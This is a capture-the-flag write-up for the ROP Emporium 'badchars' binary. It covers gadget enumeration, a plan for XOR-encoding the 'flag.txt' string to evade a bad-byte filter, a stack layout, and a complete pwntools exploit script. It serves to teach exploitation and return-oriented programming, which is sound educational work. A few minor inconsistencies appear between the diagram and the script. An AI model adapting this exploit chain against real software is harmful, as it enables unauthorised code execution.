Skip to content

badchars

An arbitrary write challenge with a twist; certain input characters get mangled as they make their way onto the stack. Find a way to deal with this and craft your exploit.

Enumeration

checksec:

1
2
3
4
5
6
7
8
9
pwndbg> checksec
File:     /home/admin/sboxshare/ropemporium/badchars/badchars
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
RUNPATH:    b'.'
Stripped:   No

As mentioned in the description, the twist to this challenge is that some characters are bad bytes that will get mangled if encountered. The characters are listed when the binary is run:

1
2
3
4
5
6
7
$ ./badchars 
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> AAA
Thank you!

Given the list above, a payload string like flag.txt is out of the question. In fact, any byte in the payload that is a bad character will cause problems.

Note

ropper includes an option (-b/--badbytes) for filtering gadgets against a list of bad bytes. A list of gadgets without the bad characters above is generated with:

$ ropper -f badchars -b 7867612e

This produces a list of 95 gadets, though with exactly the same contents as an unfiltered list.

This challenge is similar to write4 and contains a many of the same gadgets. The difference is that avoiding the bad characters requires some form of encoding, which the binary provides through a helpful XOR gadget:

$ ropper -f badchars -b 7867612e
...
0x0000000000400634: mov qword ptr [r13], r12; ret; 
...
0x0000000000400628: xor byte ptr [r15], r14b; ret; 
...
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
...
0x00000000004006a0: pop r14; pop r15; ret; 
...
0x00000000004006a2: pop r15; ret;
...
0x00000000004006a3: pop rdi; ret; 

Attack

The overall strategy for this challenge is to leverage the XOR gadget to decrypt and recover the flag.txt plain text string. Since the decryption takes place during the ROP phase, after the check for bad characters, the check is effectively evaded and print_file() can be safely called.

The detailed steps in the attack chain are:

  1. XOR encrypt the flag.txt payload with some known key (like 2).
  2. Pass the pop r12; pop r13... gadget to pop the top of the stack into r12, including the encrypted payload.
  3. Pass the address of the .bss segment onto the stack.
  4. Pass some junk padding (like 0xdeadbeefdeadbeef) to fill r14 and r15 .
  5. Use the mov [r13], r12 gadget to relocate the payload to the .bss segment.
  6. Pass the pop r14; pop r15; ret gadget followed by the decryption key (2 to be placed in r14), the next available address in .bss (to be placed in r15) and the address of the xor [r15], r14 gadget.
  7. Repeat the above step 8 times (for each byte in the payload) and store the result in .bss.
  8. Pop the address of .bss into rdi and call the the print_file function.

As in the write4 challenge, a part of this challenge is to find a suitable location in memory to write the string to. Like before, .bss is a good candidate:

1
2
3
4
5
6
7
8
9
$ rabin2 -S badchars
[Sections]

nth paddr        size vaddr       vsize perm type        name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
...
23  0x00001028   0x10 0x00601028   0x10 -rw- PROGBITS    .data
24  0x00001038    0x0 0x00601038    0x8 -rw- NOBITS      .bss
...

Combining all of the above gives the following stack layout:

Stack top
---
12. print_file
11. [address of .bss]
10. pop_rdi
9. [address of .bss]
8. (pop_r14_pop_r15, key (2), [address of .bss], xor_[r15]_r14, pop_r15) * 8
7. mov_[r13]_r12
6. junk padding to fill r15
5. junk padding to fill r14
4. [address of .bss]
3. encrypted (flag.txt ^ 2)
2. pop_r12_pop_r15
1. 40 byte padding
---
Stack bottom

Attack Script

solve.py
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
exe = "./badchars"
elf = context.binary = ELF(exe)
rop = ROP(elf)
gdbscript = '''
'''

if args.LOCAL:
    p = process(elf.path)
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)

print_file = p64(elf.symbols['print_file'])
bss_addr = [p64(addr) for addr in range(0x00601038, 0x00601040)]
key = 2
encrypted = ''
for i in 'flag.txt':
    encrypted = encrypted + chr(ord(i) ^ key)
encrypted = bytes(encrypted.encode('utf-8'))
pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret;
mov_r13_r12 = p64(0x400634) # mov qword ptr [r13], r12; ret;
pop_r14_r15 = p64(0x4006a0) # pop r14; pop r15; ret;
xor_r15_r14 = p64(0x400628) # xor byte ptr [r15], r14b; ret;
pop_r15 = p64(0x4006a2) # pop r15; ret;
pop_rdi = p64(0x4006a3) # pop rdi; ret;

payload = b'A'*40
payload += pop_r12_r15
payload += encrypted
payload += bss_addr[0]
payload += p64(0xdeadbeefdeadbeef) # Junk for r14
payload += p64(0xdeadbeefdeadbeef) # Junk for r14
payload += mov_r13_r12

for i in range(0,8):
    payload += pop_r14_r15
    payload += p64(key)
    payload += bss_addr[i]
    payload += xor_r15_r14

payload += pop_rdi
payload += bss_addr[0]
payload += print_file

p.sendlineafter(b'> ', payload)
p.interactive()